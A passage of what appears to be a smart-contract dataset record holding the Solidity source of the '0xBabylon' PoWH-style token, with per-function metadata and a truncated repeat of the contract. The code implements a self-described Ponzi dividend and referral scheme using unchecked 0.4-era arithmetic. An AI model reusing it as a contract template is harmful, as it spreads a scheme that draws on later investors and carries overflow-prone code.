by their current value in Ether and subtracting the // Ether that has already been paid out. function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)( earningsPerBond * holdings[_owner] ) - payouts[_owner] ) / scaleFactor; } // Internal balance function, used to calculate the dynamic reserve value. function contractBalance() internal constant returns (uint256 amount){ // msg.value is the amount of Ether sent by the transaction. return investSum - withdrawSum - msg.value - trickleSum; } function trickleUp(address fromWho) internal{//you can trickle up other people by giving them some. uint256 tricks = tricklingPass[ fromWho ];//this is the amount moving in the trickle flo if(tricks > 0){ tricklingPass[ fromWho ] = 0;//we've already captured the amount so set your tricklingPass flo to 0 uint256 passUp = tricks * (investSum - withdrawSum)/investSum;//to get the amount we're gonna pass up. divide by trickTax uint256 reward = tricks-passUp;//and our remaining reward for ourselves is the amount we just slice off subtracted from the flo address finalReff;//we're not exactly sure who we're gonna pass this up to yet address reffo = reff[ fromWho ];//this is who it should go up to. if everything is legit if( holdings[reffo] >= stakingRequirement){ finalReff = reffo;//if that address is holding enough to stake, it's a legit node to flo up to. }else{ finalReff = lastGateway;//if not, then we use the last buyer } tricklingPass[ finalReff ] += passUp;//so now we add that flo you've passed up to the tricklingPass of the final Reff pocket[ finalReff ] += reward;// Reward emit onTrickle(fromWho, finalReff, reward, passUp); } } function buy(address forWho,uint256 cR,uint256 cG,uint256 cB) internal { // Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it. if (msg.value < 0.000001 ether || msg.value > 1000000 ether) revert(); //Fee to pay existing holders, and the referral commission uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(msg.value,false,true); trickle = fee/trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } uint256 numEther = msg.value - (fee+trickle);// The amount of Ether used to purchase new tokens for the caller. uint256 numTokens = 0; if(numEther > 0){ numTokens = getTokensForEther(numEther);// The number of tokens which can be purchased for numEther. buyCalcAndPayout( forWho, fee, numTokens, numEther, reserve() ); addPigment(forWho, numTokens,cR,cG,cB); } if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff or if that masternode is weak, then reset it if(reff[forWho] == 0x0000000000000000000000000000000000000000 || (holdings[reff[forWho]] < stakingRequirement) ) reff[forWho] = msg.sender; emit onBoughtFor(msg.sender, forWho, numEther, numTokens, reff[forWho] ); }else{ emit onTokenPurchase(forWho, numEther ,numTokens , reff[forWho] ); } trickleSum += trickle;//add to trickle's Sum after reserve calculations trickleUp(forWho); } function buyCalcAndPayout(address forWho,uint256 fee,uint256 numTokens,uint256 numEther,uint256 res)internal{ // The buyer fee, scaled by the scaleFactor variable. uint256 buyerFee = fee * scaleFactor; if (totalBondSupply > 0){// because ... // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. uint256 bonusCoEff = (scaleFactor - (res + numEther) * numTokens * scaleFactor / ( totalBondSupply + numTokens) / numEther) *(uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. uint256 holderReward = fee * bonusCoEff; buyerFee -= holderReward; // The Ether value per token is increased proportionally. earningsPerBond += holderReward / totalBondSupply; } //resolve reward tracking stuff avgFactor_ethSpent[forWho] += numEther; // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalBondSupply += numTokens; // Assign the tokens to the balance of the buyer. holdings[forWho] += numTokens; // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... int256 payoutDiff = (int256) ((earningsPerBond * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[forWho] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } // Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee // to discouraging dumping, and means that if someone near the top sells, the fee distributed // will be *significant*. function TOKEN_scaleDown(uint256 value,uint256 reduce) internal view returns(uint256 x){ uint256 holdingsOfSender = holdings[msg.sender]; return value * ( holdingsOfSender - reduce) / holdingsOfSender; } function sell(uint256 amount) internal { uint256 numEthersBeforeFee = getEtherForTokens(amount); // x% of the resulting Ether is used to pay remaining holders. uint256 fee = 0; uint256 trickle = 0; if(totalBondSupply != holdings[msg.sender]){ fee = fluxFeed(numEthersBeforeFee, false,false); trickle = fee/ trickTax; fee -= trickle; tricklingPass[msg.sender] +=trickle; } // Net Ether for the seller after the fee has been subtracted. uint256 numEthers = numEthersBeforeFee - (fee+trickle); //How much you bought it for divided by how much you're getting back. //This means that if you get dumped on, you can get more resolve tokens if you sell out. uint256 resolved = mint( calcResolve(msg.sender,amount,numEthersBeforeFee), msg.sender ); // *Remove* the numTokens which were just sold from the total supply. avgFactor_ethSpent[msg.sender] = TOKEN_scaleDown(avgFactor_ethSpent[msg.sender] , amount); color_R[msg.sender] = TOKEN_scaleDown(color_R[msg.sender] , amount); color_G[msg.sender] = TOKEN_scaleDown(color_G[msg.sender] , amount); color_B[msg.sender] = TOKEN_scaleDown(color_B[msg.sender] , amount); totalBondSupply -= amount; // Remove the tokens from the balance of the buyer. holdings[msg.sender] -= amount; int256 payoutDiff = (int256) (earningsPerBond * amount);//we don't add in numETH because it is immedietly paid out. // We reduce the amount paid out to the seller (this effectively resets their payouts value to zero, // since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if // they decide to buy back in. payouts[msg.sender] -= payoutDiff; // Decrease the total amount that's been paid out to maintain invariance. totalPayouts -= payoutDiff; // Check that we have tokens in existence (this is a bit of an irrelevant check since we're // selling tokens, but it guards against division by zero). if (totalBondSupply > 0) { // Scale the Ether taken as the selling fee by the scaleFactor variable. uint256 etherFee = fee * scaleFactor; // Fee is distributed to all remaining token holders. // rewardPerShare is the amount gained per token thanks to this sell. uint256 rewardPerShare = etherFee / totalBondSupply; // The Ether value per token is increased proportionally. earningsPerBond += rewardPerShare; } fullCycleSellBonds(numEthers); trickleSum += trickle; trickleUp(msg.sender); emit onTokenSell(msg.sender,holdings[msg.sender]+amount,amount,numEthers,resolved,reff[msg.sender]); } // Converts the Ether accrued as dividends back into Staking tokens without having to // withdraw it first. Saves on gas and potential price spike loss. function processReinvest(address forWho,uint256 cR,uint256 cG,uint256 cB) internal{ // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. // Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Assign balance to a new variable. uint256 pocketETH = pocket[msg.sender]; uint value_ = (uint) (balance + pocketETH); pocket[msg.sender] = 0; // If your dividends are worth less than 1 szabo, or more than a million Ether // (in which case, why are you even here), abort. if (value_ < 0.000001 ether || value_ > 1000000 ether) revert(); uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(value_, true,false );// reinvestment fees are lower than regular ones. trickle = fee/ trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } // A temporary reserve variable used for calculating the reward the holder gets for buying tokens. // (Yes, the buyer receives a part of the distribution as well!) uint256 res = reserve() - balance; // The amount of Ether used to purchase new tokens for the caller. uint256 numEther = value_ - (fee+trickle); // The number of tokens which can be purchased for numEther. uint256 numTokens = calculateDividendTokens(numEther, balance); buyCalcAndPayout( forWho, fee, numTokens, numEther, res ); addPigment(forWho, numTokens,cR,cG,cB); if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff, then reset it address reffOfWho = reff[forWho]; if(reffOfWho == 0x0000000000000000000000000000000000000000 || (holdings[reffOfWho] < stakingRequirement) ) reff[forWho] = msg.sender; emit onReinvestFor(msg.sender,forWho,numEther,numTokens,reff[forWho]); }else{ emit onReinvestment(forWho,numEther,numTokens,reff[forWho]); } trickleUp(forWho); trickleSum += trickle - pocketETH; } function addPigment(address forWho, uint256 tokens,uint256 r,uint256 g,uint256 b) internal{ color_R[forWho] += tokens * r / 255; color_G[forWho] += tokens * g / 255; color_B[forWho] += tokens * b / 255; emit onColor(forWho,r,g,b,color_R[forWho] ,color_G[forWho] ,color_B[forWho] ); } // Dynamic value of Ether in reserve, according to the CRR requirement. function reserve() internal constant returns (uint256 amount){ return contractBalance()-((uint256) ((int256) (earningsPerBond * totalBondSupply) - totalPayouts ) / scaleFactor); } // Calculates the number of tokens that can be bought for a given amount of Ether, according to the // dynamic reserve and totalSupply values (derived from the buy and sell prices). function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply ; } // Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion. function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply; } // Converts a number tokens into an Ether value. function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { // How much reserve Ether do we have left in the contract? uint256 reserveAmount = reserve(); // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault. if (tokens == totalBondSupply ) return reserveAmount; // If there would be excess Ether left after the transaction this is called within, return the Ether // corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found // at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator // and denominator altered to 1 and 2 respectively. return reserveAmount - fixedExp((fixedLog(totalBondSupply - tokens) - price_coeff) * crr_d/crr_n); } function () payable public { if (msg.value > 0) { fund(lastGateway,msg.sender); } else { withdraw(msg.sender); } } address public resolver = this; uint256 public totalSupply; uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name = "0xBabylon"; uint8 public decimals = 18; string public symbol = "PoWHr"; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Resolved(address indexed _owner, uint256 amount); function mint(uint256 amount,address _account) internal returns (uint minted){ totalSupply += amount; balances[_account] += amount; emit Resolved(_account,amount); return amount; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function calcResolve(address _owner,uint256 amount,uint256 _eth) public constant returns (uint256 calculatedResolveTokens) { return amount*amount*avgFactor_ethSpent[_owner]/holdings[_owner]/_eth/1000000; } function transfer(address _to, uint256 _value) public returns (bool success) { require( balanceOf(msg.sender) >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){ uint256 allowance = allowed[_from][msg.sender]; require( balanceOf(_from) >= _value && allowance >= _value ); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function resolveSupply() public view returns (uint256 balance) { return totalSupply; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } // You don't care about these, but if you really do they're hex values for // co-efficients used to simulate approximations of the log and exp functions. int256 constant one = 0x10000000000000000; uint256 constant sqrt2 = 0x16a09e667f3bcc908; uint256 constant sqrtdot5 = 0x0b504f333f9de6484; int256 constant ln2 = 0x0b17217f7d1cf79ac; int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8; int256 constant c1 = 0x1ffffffffff9dac9b; int256 constant c3 = 0x0aaaaaaac16877908; int256 constant c5 = 0x0666664e5e9fa0c99; int256 constant c7 = 0x049254026a7630acf; int256 constant c9 = 0x038bd75ed37753d68; int256 constant c11 = 0x03284a0c14610924f; // The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 // approximates the function log(1+x)-log(1-x) // Hence R(s) = log((1+s)/(1-s)) = log(a) function fixedLog(uint256 a) internal pure returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); int256 z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one)) /one))/one))/one))/one))/one); } int256 constant c2 = 0x02aaaaaaaaa015db0; int256 constant c4 = -0x000b60b60808399d1; int256 constant c6 = 0x0000455956bccdd06; int256 constant c8 = -0x000001b893ad04b3a; // The polynomial R = 2 + c2*x^2 + c4*x^4 + ... // approximates the function x*(exp(x)+1)/(exp(x)-1) // Hence exp(x) = (R(x)+x)/(R(x)-x) function fixedExp(int256 a) internal pure returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) exp <<= scale; else exp >>= -scale; return exp; } }
getEtherForTokens
function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { // How much reserve Ether do we have left in the contract? uint256 reserveAmount = reserve(); // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault. if (tokens == totalBondSupply ) return reserveAmount; // If there would be excess Ether left after the transaction this is called within, return the Ether // corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found // at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator // and denominator altered to 1 and 2 respectively. return reserveAmount - fixedExp((fixedLog(totalBondSupply - tokens) - price_coeff) * crr_d/crr_n); }
// Converts a number tokens into an Ether value.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 22792, 23615 ] }
1,490
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denominator uint256 constant fee_premine = 30;//Fee Premine. So that the first buyer isn't a black hole int constant price_coeff = 0x44fa9cf152cd34a98; // Array between each address and their number of tokens. mapping(address => uint256) public holdings; //cut down by a percentage when you sell out. mapping(address => uint256) public avgFactor_ethSpent; mapping(address => uint256) public color_R; mapping(address => uint256) public color_G; mapping(address => uint256) public color_B; // Array between each address and how much Ether has been paid out to it. // Note that this is scaled by the scaleFactor variable. mapping(address => address) public reff; mapping(address => uint256) public tricklingPass; mapping(address => uint256) public pocket; mapping(address => int256) public payouts; // Variable tracking how many tokens are in existence overall. uint256 public totalBondSupply; // Aggregate sum of all payouts. // Note that this is scaled by the scaleFactor variable. int256 totalPayouts; uint256 public trickleSum; uint256 public stakingRequirement = 1e18; address public lastGateway; uint256 constant trickTax = 3; //divides flux'd fee and for every pass up //flux fee ratio and contract score keepers uint256 public withdrawSum; uint256 public investSum; // Variable tracking how much Ether each token is currently worth. // Note that this is scaled by the scaleFactor variable. uint256 earningsPerBond; event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onBoughtFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onReinvestFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onTokenSell( address indexed customerAddress, uint256 totalTokensAtTheTime,//maybe it'd be cool to see what % people are selling from their total bank uint256 tokensBurned, uint256 ethereumEarned, uint256 resolved, address indexed gateway ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted, address indexed gateway ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event onCashDividends( address indexed ownerAddress, address indexed receiverAddress, uint256 ethereumWithdrawn ); event onColor( address indexed customerAddress, uint256 oldR, uint256 oldG, uint256 oldB, uint256 newR, uint256 newG, uint256 newB ); event onTrickle( address indexed fromWho, address indexed finalReff, uint256 reward, uint256 passUp ); // The following functions are used by the front-end for display purposes. // Returns the number of tokens currently held by _owner. function holdingsOf(address _owner) public constant returns (uint256 balance) { return holdings[_owner]; } // Withdraws all dividends held by the caller sending the transaction, updates // the requisite global variables, and transfers Ether back to the caller. function withdraw(address to) public { if(to == 0x0000000000000000000000000000000000000000 ){ to = msg.sender; } trickleUp(msg.sender); // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); //uint256 pocketBalance = tricklePocket[msg.sender]; //tricklePocket[msg.sender] = 0; // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); uint256 pocketETH = pocket[msg.sender]; pocket[msg.sender] = 0; trickleSum -= pocketETH; balance += pocketETH; // Send the dividends to the address that requested the withdraw. withdrawSum += balance; to.transfer(balance); emit onCashDividends(msg.sender,to,balance); } function fullCycleSellBonds(uint256 balance) internal { // Send the cashed out stake to the address that requested the withdraw. withdrawSum += balance; msg.sender.transfer(balance); emit onWithdraw(msg.sender, balance); } // Sells your tokens for Ether. This Ether is assigned to the callers entry // in the tokenBalance array, and therefore is shown as a dividend. A second // call to withdraw() must be made to invoke the transfer of Ether back to your address. function sellBonds(uint256 _amount) public { uint256 bondBalance = holdings[msg.sender]; if(_amount <= bondBalance && _amount > 0){ sell(_amount); }else{ sell(bondBalance); } } // The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately // invokes the withdraw() function, sending the resulting Ether to the callers address. function getMeOutOfHere() public { sellBonds( holdings[msg.sender] ); withdraw(msg.sender); } function reffUp(address _reff) internal{ address sender = msg.sender; if (_reff == 0x0000000000000000000000000000000000000000 || _reff == msg.sender){ _reff = reff[sender]; } if( holdings[_reff] < stakingRequirement ){//if req not met if(lastGateway == 0x0000000000000000000000000000000000000000){ lastGateway = sender;//first buyer ever _reff = sender;//first buyer is their own gateway/masternode //initialize fee pre-mine investSum = msg.value * fee_premine; withdrawSum = msg.value * fee_premine; } else _reff = lastGateway;//the lucky last player gets to be the gate way. } reff[sender] = _reff; } function rgbLimit(uint256 _rgb)internal pure returns(uint256){ if(_rgb > 255) return 255; else return _rgb; } //BONUS //when you don't pick a color, the contract will need a default. which will be your current color function edgePigment(uint8 C)internal view returns (uint256 x) { uint256 holding = holdings[msg.sender]; if(holding==0) return 0; else{ if(C==0){ return 255 * color_R[msg.sender]/holding; }else if(C==1){ return 255 * color_G[msg.sender]/holding; }else if(C==2){ return 255 * color_B[msg.sender]/holding; } } } function fund(address reffo, address forWho) payable public { fund_color( reffo, forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } function fund_color( address _reff, address forWho,uint256 cR,uint256 cG,uint256 cB) payable public { // Don't allow for funding if the amount of Ether sent is less than 1 szabo. reffUp(_reff); if (msg.value > 0.000001 ether){ investSum += msg.value; cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); buy( forWho ,cR,cG,cB); lastGateway = msg.sender; } else { revert(); } } function reinvest_color(address forWho,uint256 cR,uint256 cG,uint256 cB) public { cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); processReinvest( forWho, cR,cG,cB); } function reinvest(address forWho) public { processReinvest( forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } // Function that returns the (dynamic) price of a single token. function price(bool buyOrSell) public constant returns (uint) { if(buyOrSell){ return getTokensForEther(1 finney); }else{ uint256 eth = getEtherForTokens(1 finney); uint256 fee = fluxFeed(eth, false, false); return eth - fee; } } function fluxFeed(uint256 _eth, bool slim_reinvest,bool newETH) public constant returns (uint256 amount) { uint256 finalInvestSum; if(newETH) finalInvestSum = investSum-_eth;//bigger buy bonus else finalInvestSum = investSum; uint256 contract_ETH = finalInvestSum - withdrawSum; if(slim_reinvest){//trickleSum can never be 0, trust me return _eth/(contract_ETH/trickleSum) * contract_ETH /investSum; }else{ return _eth * contract_ETH / investSum; } /* Fee 100eth IN & 100eth OUT = 0% tax fee (returning 1) 100eth IN & 50eth OUT = 50% tax fee (returning 2) 100eth IN & 33eth OUT = 66% tax fee (returning 3) 100eth IN & 25eth OUT = 75% tax fee (returning 4) 100eth IN & 10eth OUT = 90% tax fee (returning 10) */ } // Calculate the current dividends associated with the caller address. This is the net result // of multiplying the number of tokens held by their current value in Ether and subtracting the // Ether that has already been paid out. function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)( earningsPerBond * holdings[_owner] ) - payouts[_owner] ) / scaleFactor; } // Internal balance function, used to calculate the dynamic reserve value. function contractBalance() internal constant returns (uint256 amount){ // msg.value is the amount of Ether sent by the transaction. return investSum - withdrawSum - msg.value - trickleSum; } function trickleUp(address fromWho) internal{//you can trickle up other people by giving them some. uint256 tricks = tricklingPass[ fromWho ];//this is the amount moving in the trickle flo if(tricks > 0){ tricklingPass[ fromWho ] = 0;//we've already captured the amount so set your tricklingPass flo to 0 uint256 passUp = tricks * (investSum - withdrawSum)/investSum;//to get the amount we're gonna pass up. divide by trickTax uint256 reward = tricks-passUp;//and our remaining reward for ourselves is the amount we just slice off subtracted from the flo address finalReff;//we're not exactly sure who we're gonna pass this up to yet address reffo = reff[ fromWho ];//this is who it should go up to. if everything is legit if( holdings[reffo] >= stakingRequirement){ finalReff = reffo;//if that address is holding enough to stake, it's a legit node to flo up to. }else{ finalReff = lastGateway;//if not, then we use the last buyer } tricklingPass[ finalReff ] += passUp;//so now we add that flo you've passed up to the tricklingPass of the final Reff pocket[ finalReff ] += reward;// Reward emit onTrickle(fromWho, finalReff, reward, passUp); } } function buy(address forWho,uint256 cR,uint256 cG,uint256 cB) internal { // Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it. if (msg.value < 0.000001 ether || msg.value > 1000000 ether) revert(); //Fee to pay existing holders, and the referral commission uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(msg.value,false,true); trickle = fee/trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } uint256 numEther = msg.value - (fee+trickle);// The amount of Ether used to purchase new tokens for the caller. uint256 numTokens = 0; if(numEther > 0){ numTokens = getTokensForEther(numEther);// The number of tokens which can be purchased for numEther. buyCalcAndPayout( forWho, fee, numTokens, numEther, reserve() ); addPigment(forWho, numTokens,cR,cG,cB); } if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff or if that masternode is weak, then reset it if(reff[forWho] == 0x0000000000000000000000000000000000000000 || (holdings[reff[forWho]] < stakingRequirement) ) reff[forWho] = msg.sender; emit onBoughtFor(msg.sender, forWho, numEther, numTokens, reff[forWho] ); }else{ emit onTokenPurchase(forWho, numEther ,numTokens , reff[forWho] ); } trickleSum += trickle;//add to trickle's Sum after reserve calculations trickleUp(forWho); } function buyCalcAndPayout(address forWho,uint256 fee,uint256 numTokens,uint256 numEther,uint256 res)internal{ // The buyer fee, scaled by the scaleFactor variable. uint256 buyerFee = fee * scaleFactor; if (totalBondSupply > 0){// because ... // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. uint256 bonusCoEff = (scaleFactor - (res + numEther) * numTokens * scaleFactor / ( totalBondSupply + numTokens) / numEther) *(uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. uint256 holderReward = fee * bonusCoEff; buyerFee -= holderReward; // The Ether value per token is increased proportionally. earningsPerBond += holderReward / totalBondSupply; } //resolve reward tracking stuff avgFactor_ethSpent[forWho] += numEther; // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalBondSupply += numTokens; // Assign the tokens to the balance of the buyer. holdings[forWho] += numTokens; // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... int256 payoutDiff = (int256) ((earningsPerBond * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[forWho] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } // Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee // to discouraging dumping, and means that if someone near the top sells, the fee distributed // will be *significant*. function TOKEN_scaleDown(uint256 value,uint256 reduce) internal view returns(uint256 x){ uint256 holdingsOfSender = holdings[msg.sender]; return value * ( holdingsOfSender - reduce) / holdingsOfSender; } function sell(uint256 amount) internal { uint256 numEthersBeforeFee = getEtherForTokens(amount); // x% of the resulting Ether is used to pay remaining holders. uint256 fee = 0; uint256 trickle = 0; if(totalBondSupply != holdings[msg.sender]){ fee = fluxFeed(numEthersBeforeFee, false,false); trickle = fee/ trickTax; fee -= trickle; tricklingPass[msg.sender] +=trickle; } // Net Ether for the seller after the fee has been subtracted. uint256 numEthers = numEthersBeforeFee - (fee+trickle); //How much you bought it for divided by how much you're getting back. //This means that if you get dumped on, you can get more resolve tokens if you sell out. uint256 resolved = mint( calcResolve(msg.sender,amount,numEthersBeforeFee), msg.sender ); // *Remove* the numTokens which were just sold from the total supply. avgFactor_ethSpent[msg.sender] = TOKEN_scaleDown(avgFactor_ethSpent[msg.sender] , amount); color_R[msg.sender] = TOKEN_scaleDown(color_R[msg.sender] , amount); color_G[msg.sender] = TOKEN_scaleDown(color_G[msg.sender] , amount); color_B[msg.sender] = TOKEN_scaleDown(color_B[msg.sender] , amount); totalBondSupply -= amount; // Remove the tokens from the balance of the buyer. holdings[msg.sender] -= amount; int256 payoutDiff = (int256) (earningsPerBond * amount);//we don't add in numETH because it is immedietly paid out. // We reduce the amount paid out to the seller (this effectively resets their payouts value to zero, // since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if // they decide to buy back in. payouts[msg.sender] -= payoutDiff; // Decrease the total amount that's been paid out to maintain invariance. totalPayouts -= payoutDiff; // Check that we have tokens in existence (this is a bit of an irrelevant check since we're // selling tokens, but it guards against division by zero). if (totalBondSupply > 0) { // Scale the Ether taken as the selling fee by the scaleFactor variable. uint256 etherFee = fee * scaleFactor; // Fee is distributed to all remaining token holders. // rewardPerShare is the amount gained per token thanks to this sell. uint256 rewardPerShare = etherFee / totalBondSupply; // The Ether value per token is increased proportionally. earningsPerBond += rewardPerShare; } fullCycleSellBonds(numEthers); trickleSum += trickle; trickleUp(msg.sender); emit onTokenSell(msg.sender,holdings[msg.sender]+amount,amount,numEthers,resolved,reff[msg.sender]); } // Converts the Ether accrued as dividends back into Staking tokens without having to // withdraw it first. Saves on gas and potential price spike loss. function processReinvest(address forWho,uint256 cR,uint256 cG,uint256 cB) internal{ // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. // Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Assign balance to a new variable. uint256 pocketETH = pocket[msg.sender]; uint value_ = (uint) (balance + pocketETH); pocket[msg.sender] = 0; // If your dividends are worth less than 1 szabo, or more than a million Ether // (in which case, why are you even here), abort. if (value_ < 0.000001 ether || value_ > 1000000 ether) revert(); uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(value_, true,false );// reinvestment fees are lower than regular ones. trickle = fee/ trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } // A temporary reserve variable used for calculating the reward the holder gets for buying tokens. // (Yes, the buyer receives a part of the distribution as well!) uint256 res = reserve() - balance; // The amount of Ether used to purchase new tokens for the caller. uint256 numEther = value_ - (fee+trickle); // The number of tokens which can be purchased for numEther. uint256 numTokens = calculateDividendTokens(numEther, balance); buyCalcAndPayout( forWho, fee, numTokens, numEther, res ); addPigment(forWho, numTokens,cR,cG,cB); if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff, then reset it address reffOfWho = reff[forWho]; if(reffOfWho == 0x0000000000000000000000000000000000000000 || (holdings[reffOfWho] < stakingRequirement) ) reff[forWho] = msg.sender; emit onReinvestFor(msg.sender,forWho,numEther,numTokens,reff[forWho]); }else{ emit onReinvestment(forWho,numEther,numTokens,reff[forWho]); } trickleUp(forWho); trickleSum += trickle - pocketETH; } function addPigment(address forWho, uint256 tokens,uint256 r,uint256 g,uint256 b) internal{ color_R[forWho] += tokens * r / 255; color_G[forWho] += tokens * g / 255; color_B[forWho] += tokens * b / 255; emit onColor(forWho,r,g,b,color_R[forWho] ,color_G[forWho] ,color_B[forWho] ); } // Dynamic value of Ether in reserve, according to the CRR requirement. function reserve() internal constant returns (uint256 amount){ return contractBalance()-((uint256) ((int256) (earningsPerBond * totalBondSupply) - totalPayouts ) / scaleFactor); } // Calculates the number of tokens that can be bought for a given amount of Ether, according to the // dynamic reserve and totalSupply values (derived from the buy and sell prices). function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply ; } // Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion. function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply; } // Converts a number tokens into an Ether value. function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { // How much reserve Ether do we have left in 